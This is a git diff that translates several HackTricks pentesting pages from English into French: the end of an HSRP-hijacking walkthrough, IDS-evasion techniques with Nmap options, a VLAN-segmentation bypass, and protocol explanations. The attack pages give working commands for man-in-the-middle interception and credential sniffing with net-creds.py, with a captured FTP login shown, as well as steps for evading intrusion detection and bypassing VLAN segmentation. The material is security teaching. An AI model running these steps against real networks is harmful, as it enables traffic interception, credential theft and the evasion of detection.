-**As we can see, the Active router is now our attacking system. The priority value is 255.** - -**After injection we need to create a secondary IP address on our network interface with the value of the virtual IP address in the HSRP domain. You should also specify 24-bit mask. In this way, legitimate traffic will be looped back to us, because the virtual IP address used in the HSRP domain is the default gateway address for hosts.** +**Comme nous pouvons le voir, le routeur actif est maintenant notre système d'attaque. La valeur de priorité est de 255.** +**Après l'injection, nous devons créer une adresse IP secondaire sur notre interface réseau avec la valeur de l'adresse IP virtuelle dans le domaine HSRP. Vous devez également spécifier un masque de 24 bits. De cette manière, le trafic légitime sera renvoyé vers nous, car l'adresse IP virtuelle utilisée dans le domaine HSRP est l'adresse de passerelle par défaut pour les hôtes.** ``` ~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 ``` - -**We set up the well-known Source NAT (masquerading) to intercept all traffic:** - +Nous avons mis en place le NAT source bien connu (masquerading) pour intercepter tout le trafic : ``` ~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` - -**We remove the default route on our machine and write a new one which will go through the former Active router (its address is 10.10.100.100). Even though we have hijacked the active role from the router, it will still be able to route traffic.** - +Nous supprimons la route par défaut sur notre machine et écrivons une nouvelle route qui passera par l'ancien routeur actif (son adresse est 10.10.100.100). Même si nous avons détourné le rôle actif du routeur, il pourra toujours acheminer le trafic. ``` ~$ sudo route del default ~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` - -**Now we are the “man in the middle”. Let’s run** [**net-creds.py**](https://github.com/DanMcInerney/net-creds)**:** - +**Maintenant, nous sommes l'« homme du milieu ». Exécutons** [**net-creds.py**](https://github.com/DanMcInerney/net-creds)**:** ``` ~$ sudo python2 net-creds.py -i eth0 ``` - -After running the utility, I will reproduce an attempt to authenticate to the FTP server at 172.16.100.140: - +Après avoir exécuté l'utilitaire, je vais reproduire une tentative d'authentification sur le serveur FTP à l'adresse 172.16.100.140 : ``` ~$ ftp 172.16.100.140 ``` +En conséquence, nous obtenons des identifiants du serveur FTP : **insomnia:betrayal** -
- -As a result, we get creeds from the FTP server: **insomnia:betrayal** - -This is how you can attack the HSRP domain and intercept traffic. Basically, everything is similar to GLBP. +C'est ainsi que vous pouvez attaquer le domaine HSRP et intercepter le trafic. Fondamentalement, tout est similaire à GLBP.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index 6cd49223f..498b85feb 100644 --- a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,79 +1,61 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# **TTL Manipulation** +# **Manipulation de TTL** -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +Envoyez des paquets avec un TTL suffisant pour arriver à l'IDS/IPS mais pas suffisant pour arriver au système final. Ensuite, envoyez d'autres paquets avec les mêmes séquences que les autres pour que l'IPS/IDS pense qu'ils sont des répétitions et ne les vérifie pas, mais en réalité, ils transportent le contenu malveillant. -**Nmap option:** `--ttlvalue ` +**Option Nmap :** `--ttlvalue ` -# Avoiding signatures +# Éviter les signatures -Just add garbage data to the packets so the IPS/IDS signature is avoided. +Ajoutez simplement des données inutiles aux paquets pour éviter la signature de l'IPS/IDS. -**Nmap option:** `--data-length 25` +**Option Nmap :** `--data-length 25` -# **Fragmented Packets** +# **Paquets fragmentés** -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +Fragmentez simplement les paquets et envoyez-les. Si l'IDS/IPS n'a pas la capacité de les réassembler, ils arriveront à l'hôte final. -**Nmap option:** `-f` +**Option Nmap :** `-f` -# **Invalid** _**checksum**_ +# **Checksum invalide** -Sensors usually don't calculate checksum for performance reasons. __ So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +Les capteurs ne calculent généralement pas le checksum pour des raisons de performance. __ Ainsi, un attaquant peut envoyer un paquet qui sera **interprété par le capteur mais rejeté par l'hôte final.** Exemple : -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +Envoyez un paquet avec le drapeau RST et un checksum invalide, de sorte que l'IPS/IDS puisse penser que ce paquet va fermer la connexion, mais l'hôte final rejettera le paquet car le checksum est invalide. -# **Uncommon IP and TCP options** +# **Options IP et TCP inhabituelles** -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +Un capteur peut ignorer les paquets avec certains drapeaux et options définis dans les en-têtes IP et TCP, tandis que l'hôte de destination accepte le paquet à la réception. -# **Overlapping** +# **Chevauchement** -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. +Il est possible que lors de la fragmentation d'un paquet, un certain chevauchement existe entre les paquets (peut-être que les 8 premiers octets du paquet 2 chevauchent avec les 8 derniers octets du paquet 1, et les 8 derniers octets du paquet 2 chevauchent avec les 8 premiers octets du paquet 3). Ensuite, si l'IDS/IPS les réassemble différemment de l'hôte final, un paquet différent sera interprété.\ +Ou peut-être que 2 paquets avec le même décalage arrivent et que l'hôte doit décider lequel il prend. -* **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -* **Linux**: Like BSD, but it prefers the last packet with the same offset. -* **First** (Windows): First value that comes, value that stays. -* **Last** (cisco): Last value that comes, value that stays. +* **BSD** : Il a une préférence pour les paquets avec un _décalage_ plus petit. Pour les paquets avec le même décalage, il choisira le premier. +* **Linux** : Comme BSD, mais il préfère le dernier paquet avec le même décalage. +* **Premier** (Windows) : La première valeur qui vient, la valeur qui reste. +* **Dernier** (cisco) : La dernière valeur qui vient, la valeur qui reste. -# Tools +# Outils * [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 8535141f8..6780148ee 100644 --- a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -1,55 +1,48 @@ -# Lateral VLAN Segmentation Bypass +# Contournement de la segmentation VLAN latérale
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-**This page was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)**** +**Cette page a été copiée depuis** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -If you have access to a switch that you are directly connected to, you have the ability to bypass VLAN segmentation within the network. Simply switch the port to trunk mode (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +Si vous avez accès à un commutateur auquel vous êtes directement connecté, vous avez la possibilité de contourner la segmentation VLAN dans le réseau. Il suffit de passer le port en mode trunk (également appelé trunk), de créer des interfaces virtuelles avec les identifiants des VLAN cibles et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou vous pouvez la configurer de manière statique. Cela dépend du cas. -First you need to find out exactly which port you are connected to. This is done via CDP messages, or you can search the port by mask **include**. +Tout d'abord, vous devez savoir exactement à quel port vous êtes connecté. Cela se fait via des messages CDP, ou vous pouvez rechercher le port par masque **include**.
-**If the CDP is suddenly disabled, you can try searching the port by our MAC address.** - +**Si le CDP est soudainement désactivé, vous pouvez essayer de rechercher le port par notre adresse MAC.** ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -
-Before we switch to trunk mode, we need to list the existing VLANs and find out their identifiers. Then we will hang these identifiers on our interface to access VLANs. Thus, thanks to the trunk we can access any VLAN. By the way, the port we are connected to belongs to VLAN 10. - +Avant de passer en mode trunk, nous devons lister les VLAN existants et trouver leurs identifiants. Ensuite, nous allons accrocher ces identifiants sur notre interface pour accéder aux VLAN. Ainsi, grâce au trunk, nous pouvons accéder à n'importe quel VLAN. Au fait, le port auquel nous sommes connectés appartient au VLAN 10. ``` SW1# show vlan brief ``` -
-**Here we go. Enter interface configuration mode and go into trunk mode.** - +**Nous y voilà. Entrez en mode configuration d'interface et passez en mode trunk.** ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` - -During the switch to trunk mode, connectivity is lost. But I will fix that. +Pendant le passage en mode trunk, la connectivité est perdue. Mais je vais arranger ça.
-Create virtual interfaces and “hang” VLAN ID on them, and then raise them. - +Créez des interfaces virtuelles et "accrochez" l'ID VLAN sur elles, puis élevez-les. ``` ~$ sudo vconfig add eth0 10 ~$ sudo vconfig add eth0 20 @@ -60,38 +53,19 @@ Create virtual interfaces and “hang” VLAN ID on them, and then raise them. ~$ sudo ifconfig eth0.50 up ~$ sudo ifconfig eth0.60 up ``` - -Now you need to request an address via DHCP. But if in your case this is not possible, you can set the address statically. - +Maintenant, vous devez demander une adresse via DHCP. Mais si dans votre cas cela n'est pas possible, vous pouvez définir l'adresse de manière statique. ``` ~$ sudo dhclient -v eth0.10 ~$ sudo dhclient -v eth0.20 ~$ sudo dhclient -v eth0.50 ~$ sudo dhclient -v eth0.60 ``` - -
- -Example of configuring a static IP address on an interface (VLAN 10): - +Exemple de configuration d'une adresse IP statique sur une interface (VLAN 10) : ``` ~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` - -To test the connection, I initiate ICMP requests to the default gateways **for VLANs 10, 20, 50, 60** +Pour tester la connexion, j'initie des requêtes ICMP aux passerelles par défaut **pour les VLAN 10, 20, 50, 60**.
-In the end, **I bypassed VLAN** segmentation and can get into any VLAN network, which unties my hands for the next steps - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Au final, **j'ai contourné la segmentation VLAN** et je peux accéder à n'importe quel réseau VLAN, ce qui me libère les mains pour les prochaines étapes. diff --git a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 1fe00232a..608b67718 100644 --- a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,145 +1,42 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Multicast DNS \(mDNS\) +# DNS Multicast \(mDNS\) - The **multicast DNS** \(**mDNS**\) protocol resolves host names to IP addresses within small networks that do not include a local name server. +Le protocole **multicast DNS** \(**mDNS**\) résout les noms d'hôtes en adresses IP dans les petits réseaux qui n'incluent pas de serveur de noms local. -When an mDNS client needs to resolve a host name, it sends an Ip Multicast query message that asks the host having that name to identify itself. That target machine then multicasts a message that includes its IP address. All machines in that subnet can then use that information to update their mDNS caches. +Lorsqu'un client mDNS doit résoudre un nom d'hôte, il envoie un message de requête Ip Multicast qui demande à l'hôte ayant ce nom de s'identifier. Cette machine cible envoie ensuite un message multicast qui inclut son adresse IP. Toutes les machines de ce sous-réseau peuvent alors utiliser ces informations pour mettre à jour leurs caches mDNS. -Any host can relinquish its claim to a domain name by sending a response packet with a Time To Live\(TTL\) equal to zero. +N'importe quel hôte peut renoncer à son droit sur un nom de domaine en envoyant un paquet de réponse avec un Time To Live \(TTL\) égal à zéro. -By default, mDNS only and exclusively resolves host names ending with the **.local** top-level domain \(TLD\). This can cause problems if that domain includes hosts which do not implement mDNS but which can be found via a conventional unicast DNS server. Resolving such conflicts requires network-configuration changes. +Par défaut, mDNS ne résout que et exclusivement les noms d'hôtes se terminant par le domaine de premier niveau \(TLD\) **.local**. Cela peut poser des problèmes si ce domaine inclut des hôtes qui n'implémentent pas mDNS mais qui peuvent être trouvés via un serveur DNS unicast conventionnel. La résolution de ces conflits nécessite des modifications de la configuration réseau. -* When using Ethernet frames, the standard multicast MAC address _01:00:5E:00:00:FB_ \(for IPv4\) or _33:33:00:00:00:FB_ \(for IPv6\). -* IPv4 address _224.0.0.251_ or IPv6 address _ff02::fb_. -* UDP port 5353. +* Lors de l'utilisation de trames Ethernet, l'adresse MAC multicast standard _01:00:5E:00:00:FB_ \(pour IPv4\) ou _33:33:00:00:00:FB_ \(pour IPv6\). +* Adresse IPv4 _224.0.0.251_ ou adresse IPv6 _ff02::fb_. +* Port UDP 5353. -mDNS queries will not pass through routers \(broadcast in ethernet only\). +Les requêtes mDNS ne passeront pas par les routeurs \(diffusion en Ethernet uniquement\). # DNS-SD \(Service Discovery\) -This protocol can be used to discover hosts in the network. To do that you can requests special domain names \(e.g. _\_printers\_tcp.local_\) and all the domains rlated with that name will answer \(in this cases, printers\). A complete list with this special names can be found [here](http://www.dns-sd.org/ServiceTypes.html). +Ce protocole peut être utilisé pour découvrir des hôtes sur le réseau. Pour ce faire, vous pouvez demander des noms de domaine spéciaux \(par exemple, _\_printers\_tcp.local_\) et tous les domaines liés à ce nom répondront \(dans ce cas, les imprimantes\). Une liste complète de ces noms spéciaux peut être trouvée [ici](http://www.dns-sd.org/ServiceTypes.html). # SSDP -The Simple Service Discovery Protocol is used to discover services in a network mainly for using the protocol UPnP. - -SSDP is a text-based protocol based on [HTTPU](https://en.wikipedia.org/wiki/HTTPU). It uses UDP as the underlying transport protocol. Services are advertised by the hosting system with multicast addressing to a specifically designated IP multicast address at UDP port number 1900. In IPv4, the multicast address is 239.255.255.250 - -# WSD - -**Web Service for Devices**. -This service allow the a device connected in a network to discover which services \(like printers\) are available in the network. - -The client can send a broadcast UDP packet asking for some kind of service or the service provider can send a broadcast packet saying that it is offering a service. - -# OAuth2.0 - - Procolo que permite compartir tu información por ejemplo de google con otros servicios. - -Básicamente **permite compartir la información justa** y necesaria que se tiene guardado en un servicio, con otro. De esta forma se puede logear más rápido y tus **datos están tan solo guardados en un sitio** y no hay que poner usernames/contraseñas en todos lados. - -Esto funciona así: - -Primero tienes que estar ya logeado en google o se te abrirá una ventana para que te logees. Acto seguido, el servicio pedirá al servidor de google un token para acceder a tu info. Google soltará una de esas pantalla de “_La aplicación XXXXX quiere acceder a esta información tuya: ..._” al darle a aceptar, google responderá a la aplicación con un código el cuál pa aplicación usará para pedirle un token con el que google responderá. Una vez la aplicación tenga un token la puede usar con el API de google para obtener la información que había pedido. - -# RADIUS - - Protocolo de autenticación y autorización para acceder a una red. \(Usa puerto 1813 UDP\) - -Se usa principalmente por proveedores de servicios de internet para gestionar el acceso a la red de sus clientes. - -Permite Autenticación, Autorización y Anotación. - -Cómo funciona: - -El usuario primero habla con el NAS \(puerta den entrada al servidor\), este comprueba que el nombre y contraseña que se le envía sean válidos preguntándoselo al servidor RADIUS. - -Opcionalmente por mayor seguridad se puede comprobar la dirección de red o nº de teléfono del servidor para ver si coincide. - -Tanto el servidor RADIUS como el usuario que intenta conectarse tienen un “secreto compartido“, de esta forma el servidor RADIUS envía un desafío al NAS que reenvía al usuario que se está logeando, este lo encripta con dicho secreto y se lo reenvía y si coincide con el cifrado que ha hecho el RADIUS, el usuario ha demostrado su identidad. - -Una vez se demuestra la identidad, el usuario RADIUS instruye al NAS para que este le asigne al usuario una dirección IP. Así mismo, cuando esto es realizado, el NAS envía una mensaje de inicio al RADIUS para que este lo anote. Cuando el usuario cierra la sesión el NAS envía un mensaje de finalización. De esta forma el RADIUS anota el consumo de la sesión para poder facturar en consecuencia \(también se usan estos datos con motivos estadísticos\) - -# SMB and NetBIOS - -## **SMB** - -Es un protocolo para compartir archivos/impresoras/puertos... - -Este puede correr directamente sobre TCP en el puerto 445 \(que si haces un escaneo de windows ves que lo llama microsoft-ds\) - -O sobre UDP 137, 138 o TCP 137, 138 que usa NetBIOS sobre TCP \( llamado netbios -ssn\) - -El objetivo de que SMB esté implementado sobre solo TCP o sobre NetBIOS + TCP es aumentar la capacidad de comunicación con más equipos que solo soportan uno u otro - -## **NetBIOS** - -Su función es la de establecer sesiones y mantener las conexiones para poder compartir recursos en red, pero para enviar paquetes de un sitio a otro requiere de IPC/IPX o NetBEUI o TCP/IP. - -Cada máquina usando NetBIOS debe tener un **nombre** único que la distinga del resto. Así que cuando entra una nueva máquina, primero se revisa que nadie use el nombre que solicita usar. también existen los **nombres de grupo** que pueden usar todas las estaciones que quieran pero no pueden haber dos grupos con el mismo nombre. Es una forma de poder enviar mensajes a varias máquinas. Por lo que se pueden enviar mensajes a un usuario, a un grupo o broadcast. - -La conexión puede ser connectionless o connection-oriented: - - **connectionless:** Se envía un datagrama al destino pero no hay ninguna forma de saludo ni de mensaje de recibido. La máquina destino debe estar configurada para poder recibir datagramas. - - **connection-orineted:** Se crea una sesión entre dos nombres \(puede ser incluso entre dos nombres de la misma máquina\) sí se envía mensaje de recibido o error. - -**NetBEUI** consiste realmente en NetBIOS sobre NetBEUI el cual es un protocolo de red y transporte que lleva a NetBIOS, este era rápido pero muy ruidoso pues emitía muchos broadcast, también se puede tener SMB sobre NetBEUI pero ya es más normal que NetBIOS corra sobre TCP. - -# LDAP - - Protocolo que permite administrar directorios y acceder a bases de información de usuarios mediante TCP/IP. - -Permite tanto sacar información como introduirla mediante distintos comandos. - -Por lo tanto es un protocolo que sirve para acceder a diversas bases de datos que están preparadas para hablar este protocolo - -# Active Directory - -Básicamente es una base de datos de objetos con información como usuarios, grupos, privilegios y recursos que es accesible desde la red \(a traves de un dominio\) para que se pueda acceder a dicha información y se pueda manejar de forma centralizada. - -Servidor que guarda objetos. Estos objetos son visibles en la red mediante un dominio. Un dominio puede tener dentro de él su servidor donde está implementado, grupos, usuarios... - -También puede tener subdominios que tengan su propio servidor asociado con sus grupos, usuarios... - -De esta forma se centraliza la gestión de usuarios de una red pues se pueden generar en este servidor los usuarios que se pueden logear, con los permisos que tienen para saber si pueden acceder a determinados recursos de la red y así se puede controlar todo esto de una forma sencilla. - -De esta forma se puede consultar el directorio con un nombre de usuario y obtener info como correo o nº de telefono. También se puedenhacer consultas generalizadas como:¿donde estan las impresoras? ¿Cuáles son los nombres de los dominios? - - - -
